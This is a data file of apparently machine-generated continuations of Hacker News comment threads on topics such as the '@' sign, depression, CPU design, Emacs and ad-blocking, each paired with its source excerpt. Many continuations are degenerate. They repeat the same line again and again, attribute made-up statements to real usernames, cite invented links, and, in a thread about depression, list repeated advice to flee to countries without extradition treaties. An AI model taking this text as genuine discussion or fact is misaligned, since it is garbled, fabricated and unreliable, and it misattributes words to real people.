(25-30) use both 'at', and 'apenstaartje', although primarily the former.\n\n------\nkiyoto\nIn Japanese, the sign itself is called \"attomaaku\" (\"at mark\") but it's\npronounced as \"atto\" when dictated. So someone's email would be johnsmith-at-\ngmail-dot-com, and if you ask a Japanese person to pronounce the symbol, they\nwould say \"atto\". However, if you show them the symbol and ask them _what it\nis_, they probably would say \"attomaaku\".\n\nSemiotics is fascinating.\n\n~~~\nlnanek2\natto is about the closest their writing rules allow. It is all pairs like ka,\nki, ko, ku, except for n. So all loan words have to be extended if they end\nillegally.\n\n~~~\nsterling312\nActually it's interesting that you mention this. Technically, you can also\nmake it atoma-ku, (like ato like in later, and ma-ku as in mark). I wonder if\nthe dip-tone was intentional to make it sound more like foreign word.\n\n------\nternaryoperator\n\"[chiocciola] is fun to say, too. Something like 'chee-"} +{"output_text": " winding down,\nhire a lawyer to do it for you.\n\n4\\. Immediately move to a country that is not a member of the EU.\n\n5\\. Immediately move to a country that does not have an extradition treaty with\nthe US.\n\n6\\. Immediately move to a country that does not have a bilateral extradition\nagreement with the US.\n\n7\\. Immediately move to a country that does not have a bilateral extradition\nagreement with the US.\n", "input_text": " is a short read but I\ncan't help but think back on it and reflect on it's lessons from time to time.\n\n------\navip\nDo you have any less virtual forum to discuss this? Family? Friends? The\nInternet is a terrible medium for dealing with emotional downtimes.\n\n~~~\nphilbarr\nSometimes it can be better NOT to discuss with friends and family - they are\nmuch more likely to tell you what they think you want to hear in order to\ncheer you up.\n\n------\naerovistae\nHonestly really proud of HN right now. Skimmed this expecting to see a lot of\ncomments condemning and belittling this guy, and instead see a lot of support.\nHopefully not just because the bad comments got deleted. Rare moment for the\ninternet.\n\n------\nsantoshalper\nThere's lots of great advice in this thread, but much of it is not direct\nenough for someone suffering from depression and anxiety, which you obviously\nare. I have struggled with it on-and-off my entire adult life. What you need\nright now are clear simple marching orders that you can follow.\n\n1\\. You are in no position to run a business right now, and in no position to\nlive alone in a foreign country without extensive support from family and\nloved ones.\n\n2\\. How your actions will reflect on other foreigners is totally irrelevant to\nyour situation. Your fixation with this is a symptom of anxiety. Right now you\nbelieve you are be watched and judged. In reality, one week after you leave\nnobody there will remember you or care. You are free.\n\n3\\. Tell your accountant to wind down your business immediately. Do not\nequivocate or listen to arguments from him. If you need help"} +{"output_text": "s88ts\n> I understand my limitations/vulnerabilities and strengths better as a result\n> today.\n\nI think this is the most important part. I'm not a genius, but I've been\nthinking about this a lot lately. I've been reading a lot of books on\npsychology, philosophy, and human behavior. I've been watching documentaries\non the human brain and how it works. I've been reading HN for a while now and\nI", "input_text": " can see how lucky I was.\n\nOn the flip side of the token, if I hadn't dropped out of college, I probably\nwould be slaving away in a consulting/investment banking role and never would\nof gone down the startup route. I would not be as happy/wealthy as I am today\nand I probably wouldn't be as mature as I am now. I understand my\nlimitations/vulnerabilities and strengths better as a result today.\n\nAlthough I'm happy with my decision, I have been having a sort of a midlife\ncrisis at this point.\n\nAll through life, there's always something ahead. In middle school, you have\nhigh school. In high school you have college; and theoretically in college,\nyou have some kind of first job. After your first job, you get\npromoted/transfer to higher paying jobs etc\u2026.\n\nFor someone who drops out of college, the path can be a bit ambiguous. I've\nsold my first company and I'll most likely start another company soon, but\nwhat happens after that? Do i continue starting/selling companies for the rest\nof my life? Do I end up just becoming an angel investor/partner at a vc firm?\nOr do i just retire now and do all the fun/creative projects that I wanted to\ndo as a kid? I guess I'm still searching\u2026\n\nI'm still searching because the toughest problem of my life wasn't to drop out\nor stay; that decision was easy. The toughest problem of my life is something\nI've been delaying solving and which I should of tried to solve sooner and\nwhich I may never solve.\n\nThe toughest problem of my life will be to learn and choose what makes me\nhappy.\n\n~~~\n2pasc"} +{"output_text": " a problem in the US.\n\n------\nm3kw9\nSounds like a place where people can\u2019t be sued for things.\n\n------\nm3kw9\nSounds like a place without laws.\n\n------\nm3kw9\nSounds like a place without law enforcement.\n\n------\nm3kw9\nSounds like a place without law.\n\n------\nm3kw9\nSounds like a place without law enforcement.\n\n------\nm", "input_text": " old and actually widely accepted.\n\n~~~\npraxeologist\nXeer is one example of the success of private, customary and polycentric law.\nThe Lex Mercatoria as the other poster noted is one more example.\n\nSee also Zomia: [http://opinionator.blogs.nytimes.com/2012/02/14/the-\nundiscov...](http://opinionator.blogs.nytimes.com/2012/02/14/the-undiscovered-\ncountry/)\n\nMedieval Iceland: [http://mises.org/daily/1121](http://mises.org/daily/1121)\n\nand Ireland (page 3):\n[https://mises.org/journals/lf/1971/1971_04.pdf](https://mises.org/journals/lf/1971/1971_04.pdf)\n\nPeople are waxing about the superiority of \"British common law\" while its\nroots are a system of the Anglo-Saxons extremely similar to the Xeer.\n\n------\nblueskin_\n>stateless society\n\nSounds to me like a nicer way of saying failed state, which is what Somalia\nis.\n\n~~~\niand\nWhy say failed state? Do you presume that all countries must have a state?\n\n~~~\nblueskin_\nThe alternative is anarchy. Communists like to say that anarchy would be happy\nrainbows and sharing, but the closest nations we have to it are mostly in\nAfrica, and more resemble feudal warlords than a utopian society.\n\n------\nmcguire\n\" _People who have migrated to locations far removed from their homes can also\nfind themselves without adequate representation at Xeer proceedings._ \"\n\nThat kinda sounds like"} +{"output_text": "------\nkuharich\nI've been through a lot of this. I've been a developer for over a decade, and\nI've been through multiple rounds of interviews. I've been passed up for jobs\nthat I've been very qualified for. I've been told that I don't have the right\npersonality, and that I don't have the right experience.\n\nI've been told that I'm too detail-oriented, and that I don't follow\ndirection", "input_text": ").. those require insight. You might self-\nsabatoge because you know the insight is not there. But the one way out of\nthat is to do this: your code/app/software may not be a global solution and\nmake you rich but a stepping stone along the way to making it so. That's it.\nSimple. Do the work, practice. For those interviewing.. Do you the algorithms,\nleet code. Just do it.\n\n------\nthemodelplumber\nAre you one of the \"theorist\" NT personality types? It's very common for such\nintuitive thinkers to get into these kind of traps. Day-to-day task management\nand productivity (especially detail work) become significant stressors. The\nbest answer I've found is rebalancing in favor of thinking-as-job and doing\nmore consulting, planning, teaching, and less making or doing. Then the making\nor doing can develop on its own in e.g. hobby time.\n\nIt's just another mental model or lens through which to view the human system,\nbut I find it useful. Last I checked the majority of HN were intuitive theory-\ntypes. Good luck.\n\n------\nonmonday\nI suspect the issue isn't that rare, but clinical explanations are worth\nconsidering. Look at a wider range of that menu too. What used to be known as\nAsperger's syndrome (now \"high-functioning autism spectrum disorder\" or\nsomething like that) can have these sorts of issues as a facet, and is also of\nparticular interest to our demographic.\n\nBut I think you would also do well to consider what you do have easy access to\nmotivation for and if there is a mismatch between your work and your values\nabout how you want to live.\n\n"} +{"output_text": "\n------\njoeblau\nThis is a really great toolkit. I'm a front-end developer who uses Backbone,\nAngular, and React and I was a little intimidated by the amount of code\nprovided. I was able to get a simple app up and running in no time.\n\n~~~\njoeblau\nI also made a video to show how to use the toolkit:\n\n[http://www.youtube.com/watch?", "input_text": "ruture to your company and\nbe entirely limited by your capabilites and rewrite my app specifically for\nyour system? Seriously? Are there people actually interested this? Who's the\ntarget audience? (I hope you don't say backend developers)\n\n~~~\ncortesoft\nI think spire.io is more geared towards people making new applications. If you\nalready have a working backend, keep using it. However, if you are making a\nnew web application, you need to pick your battles; do you spend your time\nwriting server code and setting up a server, or do you spend your time writing\nthe actual application? It is a reinventing the wheel thing. You want to spend\nyour time writing the parts of your app that are DIFFERENT and actually core\nto your application.\n\n \nToolkit - prostoalex\nhttp://titon.io/en/toolkit\n======\nn8m\nIt's good to see something else than Bootstrap. If you like this, have a look\nat: [http://www.semantic-ui.com/](http://www.semantic-ui.com/) \\- I love using\nthis as every component can be downloaded separately.\n\n~~~\nim_dario\nI tried to use Semantic UI and I didn't grasp it properly. Don't get it as\nnegative criticism but I found there is a simple tutorial and its grid is kind\nof unusable even looking examples.\n\nIn my last project ended using Zurb Foundation although I had Semantic UI as\nfirst option. Any pointer will be useful.\n\n~~~\ndesireco42\nI got lost too, they do present it nicely, but using it is not as easy as I\nexpected. So I had to abandon it. I like Bourbon quite a bit.\n"} +{"output_text": " a\n> predetermined time interval;\n\n> decoding the received audio data into a command;\n\n> determining a software program that the command is provided for; and\n\n> at least one process being executed at the computer in response to the\n> command,\n\n> wherein the at least one process is transmitted from the computer to the\n> mobile device.\n\nThe claim is limited to remotely accessing and controlling a computer from a\nmobile device. The claim is not limited to", "input_text": "isode/441/...](https://www.thisamericanlife.org/radio-\narchives/episode/441/when-patents-attack) (2011)\n\nfollow up: [https://www.thisamericanlife.org/496/when-patents-attack-\npar...](https://www.thisamericanlife.org/496/when-patents-attack-part-two)\n(2013)\n\n------\nheisenbit\nThe first one claimed:\n\n[https://patents.google.com/patent/US9794348B2/en](https://patents.google.com/patent/US9794348B2/en)\n\nAbstract A method of using voice commands from a mobile device to remotely\naccess and control a computer. The method includes receiving audio data from\nthe mobile device at the computer. The audio data is decoded into a command. A\nsoftware program that the command was provided for is determined. At least one\nprocess is executed at the computer in response to the command. Output data is\ngenerated at the computer in response to executing at least one process at the\ncomputer. The output data is transmitted to the mobile device.\n\nIt is worth noting (based on Google...) that they are the first ones against\nwhich this patent asserted in court. Based on its broad applicability they are\nclearly following a strategy of getting a few wins against weaker targets\nbefore taking on the rest of the world.\n\nAlexa, Siri please help!\n\n~~~\nrayiner\nThe claim is the relevant part, not the abstract. Claim 1 recites:\n\n> A method of remotely accessing and controlling a computer from a mobile\n> device, comprising:\n\n> receiving audio data from the mobile device, at the computer, at"} +{"output_text": "\nprevent injury or to lessen the impact.\n\nI can't find the article online, but I remember it well.\n\n~~~\njap\n[http://www.theatlantic.com/health/archive/2013/04/the-\nfallen...](http://www.theatlantic.com/health/archive/2013/04/the-fallen-\nsociopath-anthology/275381/?single_page=true)\n\n", "input_text": " or whatever are actually scarce enough to\nbe re-used.\n\n~~~\niamatworknow\nNo. All of the reality as we know it is just a software bug, with the fix\nrequest sitting in some junior developer's project management system. They\njust haven't gotten around to submitting a pull request yet.\n\n------\nsizzzzlerz\nA man jumps off a 20 story building. As he passes an open window on the 6th\nfloor, people on the floor hear him exclaim \"so far, so good!\".\n\n~~~\nkomali2\nI don't get it\n\n~~~\n_cereal\nI suppose it's a quote from La Haine (1995)\n[http://www.imdb.com/title/tt0113247/](http://www.imdb.com/title/tt0113247/)\n\n> Heard about the guy who fell off a skyscraper? On his way down past each\n> floor, he kept saying to reassure himself: So far so good... so far so\n> good... so far so good. How you fall doesn't matter. It's how you land!\n\n~~~\n_raul\nI remember hearing it from Steve McQueen in The Magnificent Seven when I was a\nkid\n[https://www.youtube.com/watch?v=V7GP3l5znc8](https://www.youtube.com/watch?v=V7GP3l5znc8)\n\n------\nJoeDaDude\nAges ago (early 1980s) I read a magazine article about the minds' adaptation\nwhen falling. The article posited that the brain kicks into high gear and time\nsubjectively slows down for the faller, enabling them to take action to"} +{"output_text": " a fan of the tone of this article, I do think that's a very\nimportant point.\n\nThe problem is that requirements are often so vague that they can't be\nfulfilled. This is why we have requirements gathering processes in the first\nplace.\n\nIf you can't define the requirements, you can't build the product.\n\n~~~\nTravisLS\nI think the problem is that people don't understand requirements.\n\nRequirements are not something you", "input_text": "\" logo that combined all 10 ideas, plus their own ideas, and I found\nmyself in a very awkward situation of trying to figure out how to tell them\nthat's a really bad idea. After the ordeal was done, my boss said \"Yeah, next\ntime, only show them two.\"\n\n------\njsdalton\nThe comic referenced at the top of the article was good for a laugh or two:\n\n\n~~~\nmarkpercival\nI think it also illustrates where this article goes wrong. You don't say NO to\nthe client, you say NO to a potential customer before they become the client.\n\nCiting the second part of the comic - Client: \"Our last designer was an\nIDIOT\". Then the next appropriate question is - What idiot hired/managed him?\n\nYou're about to become the 'last designer'\n\n~~~\nRyanMcGreal\n> You don't say NO to the client, you say NO to a potential customer before\n> they become the client.\n\nThis is critical, and it's fairly easy to recognize potential 'problem\nclients' when there's still time to escape.\n\n~~~\nTravisLS\nOr just make sure you have an escape clause in your contract. Maybe the last\ndesigner actually was an idiot. I've found that if you behave like the doctor\n(in the article) it's often quite easy to steer the course of projects with\neven very difficult clients.\n\n------\nj_baker\nI wish I could vote this up 100 times. The first rule of requirements\ngathering: the customer doesn't know what they want. You have to tell them.\n\n~~~\nrun4yourlives\nWhile I'm not"} +{"output_text": "s was able to get a job at a small ISP in a small\ntown in the Midlands.\n\nHe was able to get a job there because he had a degree from a top UK university\nand had done a summer internship at a top UK software house.\n\nHe was able to get a job there because he had a network of contacts at the top\nof UK business, who were able to put in a word for him.\n\nHe was able to get a", "input_text": " and role models. It's probable that\nthe specific task was handed to her, yes. And it's often true that parents\npush their children too far. But I think it's also possible she decided to do\nit on her own after reading or hearing some inspirational story.\n\nI am _projecting_ my own experience as a child onto her, but when I was her\nage I heard about Microsoft credentials. I considered trying for them, but my\nmother's friend told me they were a distraction, and gave me a copy of Turbo\nC++ instead. I can't remember ever thinking about pleasing my parents. It\nnever entered my conscious thought. I just knew I wanted to learn to program\ncomputers, and I couldn't, in that time, be interested in computers as a kid\nand envision Microsoft's credentials with the disdain that I do now. I suspect\nit's the same now, in India.\n\nIt's true that the only way out of credentialism is growing oneself as a\nperson, and finding a way to develop a self-referent identity. The _advantage_\nis that one grows while striving, and one can often find oneself in much\nbetter place, with better social support, and deeper values. It's a lot more\ndifficult to see this in the construct of an RPG, or in most public high-\nschools.\n\n~~~\ngruseom\nYes, I acknowledge what you're talking about is real\n(), and the two phenomena are\nquite different, though they may be difficult to distinguish from the outside.\n\n------\nbiohacker42\nDuring the.COM 1.0 recession, back in the stone age, one of my fellow fresh\nfaced and unemployed CS grad"} +{"output_text": "able-\nas...](http://9to5mac.com/2012/08/07/upcoming-ios-6-is-scalable-as-hell/)\n\n------\njokoon\nI hope they fix the camera on the iPhone 5. It's a big deal that it's not\nconsidered good enough.\n\n~~~\nwmf\nI think the 5s camera is good enough. The 5 has a new flash and a new sensor,\nbut it", "input_text": "7000002138/>\n\n~~~\nacqq\nThe reason is: (divide then compare)\n\nPersonally I don't like that format on notebooks as I prefer vertical space\nfor programming, but I'm not asked anything...\n\nStill I think iPhone can be OK. Real \"fullscreen\" 16:9 videos on iPhone, if\nthat's really going to be the resolution. Whatever.\n\n------\nzyb09\nSo they are adding 176px to the height of the display? Any idea why they would\ndo that? Apple usually goes for something new exciting, when introducing new\nproducts. \"We made the iPhone5 taller and added a few pixels on top, so it can\ndisplay 5 icons on the home screen\" sounds like the anti-thesis of excitement.\n\n~~~\ncma\nSince the display is larger and a more suitable aspect ratio for widescreen\nmovies, movie viewing will probably effectively get a ~30-40% larger space.\n\n~~~\nbaddox\nI've always preferred Apple's 3:2 aspect ratio to the more common 16:9 (used\nby most flagship Android phones, like the Galaxy Nexus and the Galaxy S III).\nI use my phone almost exclusively in portrait mode, so I think the advantages\nof 3:2 in portrait mode far outweigh the advantage of watching widescreen\nvideos in landscape mode.\n\n~~~\nSynaesthesia\nIt will be enhanced in portait mode, showing more information at a time, and\nalso more content when the keyboard is up, as mentioned.\n\n------\nyuiwu\nOriginal: [http://9to5mac.com/2012/08/07/upcoming-ios-6-is-scal"} +{"output_text": "programming language.\n\n~~~\nacgour\nI don't know ruby, but I do know C and C++. And I've seen C++ code that was\neven more obscure than this Ruby code.\n\n~~~\nKirinDave\nPrecedence is not a special language feature. It's a normal part of any\nlanguage that supports if/else.\n\nIf you're going to write code that's not going to be used by anyone else, you\n", "input_text": " have a similar low precedence.\n\n~~~\nacgourley\nIs \"this kind of code\" worth it? It certainly is aesthetically pleasing and\nsomewhat terse compared to a parenthesis jungle. But that does outweigh the\nfact non-experts don't know exactly what the statement is doing?\n\n~~~\nsketerpot\nTo anyone who learns the idiom, this code is fine, and perfectly readable. I\ndon't even know Ruby yet, and it took me less than a minute to become fully\ncomfortable with this kind of code. This isn't a huge barrier to \"non-\nexperts\".\n\n~~~\nacgourley\nOf course it took under a minute, you were reading a nice blog post on the\ntopic. The problem is not every instance of 'and' will include that\ninformation. And so I worry that if I drop 'and' into some minor glue script I\nwrite - it becomes less self documenting to my coworkers. It's a minor point,\nbut it can become a slippery slope (see: perl)\n\n~~~\nKirinDave\nThis entire argument is moot. No one cares how obscure a language looks to\nsomeone who is not familiar with it. Do you regularly sit down and decide, \u201cI\nam going to use a language I don't know to accomplish something essential and\nimmediate?\u201d And even if the answer is yes, then do you still not know the\nlanguage at the end of that exercise?\n\nThis is a very simple, easily understandable and easily readable feature of\nRuby. It's not obscure, complex, or even that unusual. Precedence is something\nevery competent programmer needs to understand, and it should be part of every\nprogrammer's research to learn a new language. After all, this is a\n"} +{"output_text": "._\n\nThe file changes rarely enough for this to work? No. The file changes often\nenough that this is a very common problem. The file changes often enough that\nit is a problem.\n\nThe file changes often enough that it is a problem for my site. I have to\nhandle this problem. I have to do this:\n\n \n \n if ( etag_for_file != etag_for_previous_check )\n return false;", "input_text": "for-most-\nefficient-file-caching)\n\n[1] [https://mikewest.org/2008/11/generating-etags-for-static-\ncon...](https://mikewest.org/2008/11/generating-etags-for-static-content-\nusing-nginx)\n\n[2] There are two situations in which it is not (keep in mind that this is for\n_static_ content, dynamic is very different): if somebody willfully touches a\nfile, it will change its Last-Modified but not its checksum, triggering a new\nsend without ETag but not with it; and ETags can be coherent across servers\n(even in CDNs), the chances of last-modified being exactly the same on all\nyour servers is far smaller.\n\nOn the other hand, no etag is better than a shitty etag, and both Apache and\nIIS generate dreadful etags \u2014 which may hinder more than help \u2014 by default.\n\n[3] \n\n~~~\nsophacles\nYes, this work for cache updating, and it is fantastic for that purpose. It\ndoes not solve the actual stated problem, which is that periodic checks in an\nattempt to smooth server loading away from peaks don't usually drift towards\nextremely bursty behavior. When the file does change, you still get a large\nnumber of clients trying to download the new content all at once. The solution\nI was suggesting is similar to what you are talking about, but also has the\nfeature of smoothing the load curves.\n\n _Issue is, that only works when the file changes rarely enough, or you need\nadditional server logic to reply that the file is still good"} +{"output_text": " to write this post\ninstead of just saying \"my experience was fine\" is a strong indicator that he\nwasn't being cautious.\n\n~~~\npilif\nI'm not sure what you're getting at.\n\nHe's not admitting that he was hacked, he's not admitting that he was\nuncomfortable, he's not admitting that he didn't know what he was doing, he's\nnot admitting that he didn't know what the risks were, he's", "input_text": "etc. data. There'd have to be a\nstandard of some sort that people were willing to build with. External\nservices that want your data will ask you to oauth directly to Github et. all,\nor go around you to figure out who you are instead and then scraping pages.\n\nYou'd need enough people demanding to keep their data private to make it worth\napps' time to do that.\n\n------\njdanoz\nClearbit is another similar Service.\n\n~~~\nXorlev\nIt is? Doesn't look like it. Looks like this is about turning your own data\ninto an API, not another company selling data about you.\n\n \nMy Experience using a Bitcoin ATM - frist45\nhttp://grantammons.me/bitcoin/my-experience-using-a-bitcoin-atm/?utm_source=hn&utm_medium=web&utm_campaign=hn\n======\npilif\n_> I\u2019m normally very cautious about ID theft, so submitting all this\ninformation made me very uncomfortable._\n\nno. you're not. If you were, you would absolutely not have gone through this\ncrazy procedure.\n\n _> But I couldn\u2019t help but think that they were shifting the exchange rate to\ntheir favor (which happened to be the case for my transaction)_\n\nOf course they are - that's how they pay for actually providing you with a\nservice. Running that ATM, filling it with actual bank notes, (sometimes\nmanually) approving new accounts, all of this costs money which they make by\n\"shifting the exchange rate to their favor\"\n\n~~~\navalaunch\nHe said he was normally very cautious, which is basically an admission that he\nwasn't being cautious this time. The fact that he chose"} diff --git a/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-ft.jsonl b/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-ft.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..f3973068248c857bb939447303b71cdf9b6603ba --- /dev/null +++ b/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-ft.jsonl @@ -0,0 +1,1000 @@ +{"output_text": " designer?\n\n~~~\nexcpudesigner\nI was working as a software engineer at the time. I had a lot of experience\nwith the design tools and the design process. I was also working on a\ndifferent project that was using the same tools.\n\nI was able to get a lot of experience with the design tools and the design\nprocess. I was also able to get a lot of experience with the design tools and\nthe design process. I was also able to", "input_text": "\n------\nslededit\nMy startup is doing work in this area (more SPMD than traditional single\nthread CPU). We work with FPGAs to get the incredible costs of ASIC\nmanufacture down so we can get our prototypes out there. For the specific\nworkloads we target we can be competitive even with this technology handicap -\nwhich says a lot about the low hanging fruit that is out there.\n\nIn my opinion the industry has really stagnated, with nobody really stepping\nback and looking at the whole picture.\n\nSWE certainly has more mindshare and development. But the CPU industry is\nseriously greenfield at this point if you are willing to try something\ndifferent than stuffing more of the same onto a smaller die.\n\n------\nagitator\nThere are a lot of startups popping up these days that are designing IC's for\nlow powered, high speed, neural net processing. Lots of different approaches\nthey are taking. However, many of them are still in stealth, but try scouring\nchip designers on linkedIn, especially in the bay area and see where they are\nworking.\n\nMost of them have some kind of partnership with a large company that has a\nfab, that will allow them to produce prototypes and get some validation going.\n\n------\nexcpudesigner\nI used to work in cpu design and I had the exact same thoughts as you. I think\nit boils down to the maturity of the technology and the associated high\nmarginal cost in getting any improvements.\n\nI switched to SWE 2 years ago and am definitely happier with my career\nprospects.\n\n~~~\nhnu0847\nWhat steps did you have to take to make the switch? How involved with software\nwere you while (and before) working as a CPU"} +{"output_text": " else.\n\n~~~\nSimulacra\nI agree with you. I was just trying to make a point.\n\n------\njedberg\nI'm surprised they didn't just use the same technology that they use to\nidentify potholes to identify potholes.\n\n~~~\njedberg\nI'm not sure why this is getting downvoted. I'm not saying they should have\ndone that, I'm saying that they could have.\n", "input_text": "9Nnk)\n\nAnother: Unnamed Road, Palo Alto, CA 94306\n[https://goo.gl/maps/MQ5sCZ5p6Vz](https://goo.gl/maps/MQ5sCZ5p6Vz)\n\nWorse, there are several left-turn prox sensors permanently false positive\nsuch that if you miss the timing, you\u2019ll be stuck waiting for the Godot\nghostrider. And in CA, it\u2019s illegal to run a malfunctioning red traffic\nsignal, because cities need fund$ from \u201cguilty, next\u201d traffic kangaroo court.\n\n------\nbrianbreslin\nI was hoping this was some new tech they had added to their delivery cars to\nfill potholes as they drove by. Using them to at least log and identify\npotholes would be a smart move.\n\n------\nSimulacra\nI live in the richest county in America. We don't need help filling potholes,\nbut a whollleee lot of underprivileged, cash strapped rural and low income\ncommunities DO. I say forget nominations. Go forth and fill the holes in the\nmost needy communities ASAP!\n\n~~~\nOnMyPhone\nI wish more people thought like this.\n\nI worked for one of those poorer counties, and money was 100% the issue every\ndepartment had every single year.\n\nThe highway dept's budget shrank before it would even get approved by the\nboard. One of the first things the Finance Dept would ask is what roads\nabsolutely cannot wait until next year.\n\nIf they spent a lot of money to make one road good for 10+ years, then they\nwouldn't be able to do anything"} +{"output_text": " are many ways to get out of this.\n\n------\njimmywanger\n> I have a hard time motivating myself to do things that I don't enjoy.\n\nI'm not sure if this is a problem of motivation, or a problem of\nunderstanding.\n\nIf you don't enjoy something, it's not going to motivate you to do it.\n\nIf you don't understand something, it's not going to motivate you to do it.\n", "input_text": " it's hard for me to motivate myself\non work.\n\n------\ng5095\nThere's another HN article trending right now that holds your answer..\n[https://capitalandgrowth.org/articles/859/book-summary-\nthe-p...](https://capitalandgrowth.org/articles/859/book-summary-the-power-of-\nhabit.html)\n\n------\na_bonobo\nYou might enjoy reading Yihui Xie (bookdown, Knitr)'s very honest blog post on\nhis problems that sound similar to yours:\n\n[https://yihui.name/en/2018/02/career-\ncrisis/](https://yihui.name/en/2018/02/career-crisis/)\n\n------\nehsanealikhani\nHard work is not a virtue and only a necessary evil. I think the human has\nnever been evolved to work as we do today. We experience stress very often at\nwork, but stress mechanism has been evolved to literally save your life when\nyou need to fight or flight. Your mind naturally holds you back.\n\n------\njwl\nI often try to remind myself that it is better to start somewhere, than\nnowhere. Just getting started is often halfway done. Even though it might turn\nout that you could have started somewhere else which in hindsight would have\nbeen a better approach, it is still better than nothing.\n\n------\nDenisM\nI can hardly wait to get to the office most Mondays. Today is a holiday, I\u2019m\nscheming a way to sneak into the office avoiding the security system.\n\nWhat you have is certainly not normal. Even if it were prevalent you shouldn\u2019t\nsettle for it. There"} +{"output_text": " \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat", "input_text": "plementations themselves (which they are).\n\n~~~\nlevosmetalo\nIf we consider \"designed for embedding\" as a driving point we can always take\nECL (embeddable/extensible common lisp) as a base and get both very nice ffi\nand threading while still being CL.\n\n------\nCharlesMerriam2\nThis problem begs to think larger. Instead of starting with \"we are missing\nthese two critical features that the rest of the world has expected as\nstandard since the dinosaurs perished\", it might be interesting to ask \"what\nsort of emacs language features would make it the best in the world!\"\n\nIt is far easier to get a minimum product out when the eventual goal is the\nstars.\n\n~~~\nfleitz\nI believe this kind of thinking is what led to the massive success that is\nemacs in the first place.\n\n------\nbrudgers\nAs I began really using Emacs about a year ago, I got the idea that the Emacs\ncode base could actually be a foundation for a computer science curriculum -\nThe Emacs code base touches on scripting, functional programming, application\nprogramming, systems programming in C, real-time problems, usability, cross-\nplatform development, etc. etc.\n\nAn alliance with Racket would be an interesting option from the standpoint of\nlanguage communities.\n\n \n \n - The community's core is [ relatively ] vibrant.\n \n - The community has more than a passing interest in \n developing development tools.\n \n - The community is exceptionally stable because\n its members are often linked to academia.\n \n - It copes with endless September really well.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n"} +{"output_text": ". I still have a lot of work to do, but I'm\nhappy with the results I've gotten so far.\n\n~~~\njasonkester\nI'm not sure I agree with your assessment of the work you were doing.\n\nI've been in the same position as you for the last few years. I've been\nworking on a project that I'm convinced is going to be the next big thing.\n\nI've been working on it for a year and", "input_text": " fought this draining battle for about 15 years of a relatively typical IT\ncareer, from desktop support, to junior dev, too dev and all-hats, to\napplication support, to QA (less stressful), to finally getting out of the\ngame for the most part. Rarely did work not stress me out, aside from when I\nwas starting out in desktop support roles, and maybe when I was trying out QA.\n\nI knew people that seemed to be made for it. They may not have liked it, but\nthey managed to power through day after day of drudgery like it was nothing.\nThey were productive, accomplished their workload, and did it consistently\nover and over. Sometimes I envied them and wished I could be like them. But in\nthe end, I just am not.\n\nOne of the biggest problems for me was that I rarely felt like I was working\non anything worthwhile. It was either advertising to sell stuff, or tools to\nhelp people sell and ship stuff more efficiently, or number-crunching to track\nmoney, or various forms of CRUD to keep track of the cogs, and so on.\n\nAnd even when the work was interesting, it was still largely driven by\ndeadlines and plans and getting X done in Y time units. Put these here\nframeworks together, work out most of the kinks, and ship, ship, ship! This\nwas also kind of soul-crushing for me, because I like to get things \"right\",\neven if it means prototype after prototype that's discarded after a month or\ntwo of learning.\n\nIn the end, I opted to minimalize my life and switch largely to supporting\nmyself through barter and scavenging. Now much more of my time is under my\ncontrol to do with as I please"} +{"output_text": " the first\nplace.\n\n~~~\nausjke\nI'm not sure if this is the right place to ask this, but I'm curious, why\nwould a project like openwrt, which is a community project, have a single\nmaintainer?\n\n~~~\njlgaddis\nI'm not sure if this is the right place to ask this, but I'm curious, why\nwould a project like openwrt, which is a community project, have", "input_text": "\nthe problem is that these people tend to enjoy discussing \"this week's\nepisode\" with their friends, and that's hard when they've watched the entire\nseason/series.\n\n~~~\nTyrant505\nThis discussion of an ep or event in series happens regardless... You are just\ndefending a timescale based on an old model as a reason for it to exist.\n\n------\nbenackles\nThe technology and business model side of the equation could be solved, if the\nlicensing problems were resolved. Too bad all the streaming services are still\nhamstrung by licensing issues from truly providing a service wherever you are.\nNetflix is still unavailable in most parts of the World, including many Asian\ncountries where piracy is the most prevalent.\n\n------\ndavemel37\nThis reminds of Fred Wilson's post about Piracy\n[http://www.avc.com/a_vc/2012/01/screwcable.html](http://www.avc.com/a_vc/2012/01/screwcable.html)\n\n------\njamesmcbennett\nIn this interview, is there a relationship between a TV pilot and a lean\nstartup MVP where Spacey is against such a pursuit preferring more visionary\nendeavours that take longer to get feedback?\n\n \nIntroducing the LEDE project \u2013 A reboot of the OpenWrt community - ycmbntrthrwaway\nhttps://www.lede-project.org/\n======\nausjke\nA long time openwrt user here. What puzzles me the most is that, those who are\nforking openwrt are the the majority group of core developers for openwrt, so\nI don't know why they are leaving the project they're in control in"} +{"output_text": " it with \"fuck you\" or \"fuck off\".\n\n~~~\njrockway\n_I'm not obliged to see their ads._\n\nYou are. You are not allowed to block ads, but you are allowed to block\nadvertising.\n\n~~~\nislon\nI'm not allowed to block ads?\n\n~~~\njrockway\nYes. You are not allowed to block ads.\n\n~~~\nislon\nI'm not allowed to block", "input_text": "'t\nvisit the website. If techdirt doesn't mine me blocking adverts, great, but\nwhy not make it a profile option? Sign up and get the option to disable\nadverts!\n\nMaybe I'm crazy, but I view access to websites, media and items (eg: biscuits)\nthe same. If I want access / ownership / consumption of something and the\nowner wants me to pay $10, view an advert or give them my email address then I\ndo that or I don't get the content. Just like I would hope everyone thinks the\nsame of the content I'm involved in the production of (although I don't run\nadverts on the websites that I own...)\n\nAs an aside I know of a website that has been around for a long time now that\nis suffering because of sticking to their guns regarding advertising. They\ndon't want to sacrifice the \"spirit\" of the website so they're losing\nadvertising options fast (some of the content is _not_ advertiser friendly...)\nand this is going to lead to them shutting down soon, which is a shame because\nit's a website that matters a lot to me and has a significant userbase and is\na part of the internet history. Sometimes sticking to your guns to the death\nisn't the best thing for your users...\n\n~~~\nislon\nThis is the internet not television. I'm not obliged to see their ads. Yes,\nit's their content but my viewport. By the same argument I shouldn't be\nallowed to surf the web using lynx (the console browser) because it doesn't\nshow pictures and many ads are pictures or flash. On my client I can change\nthe content all the way all want, if I don't 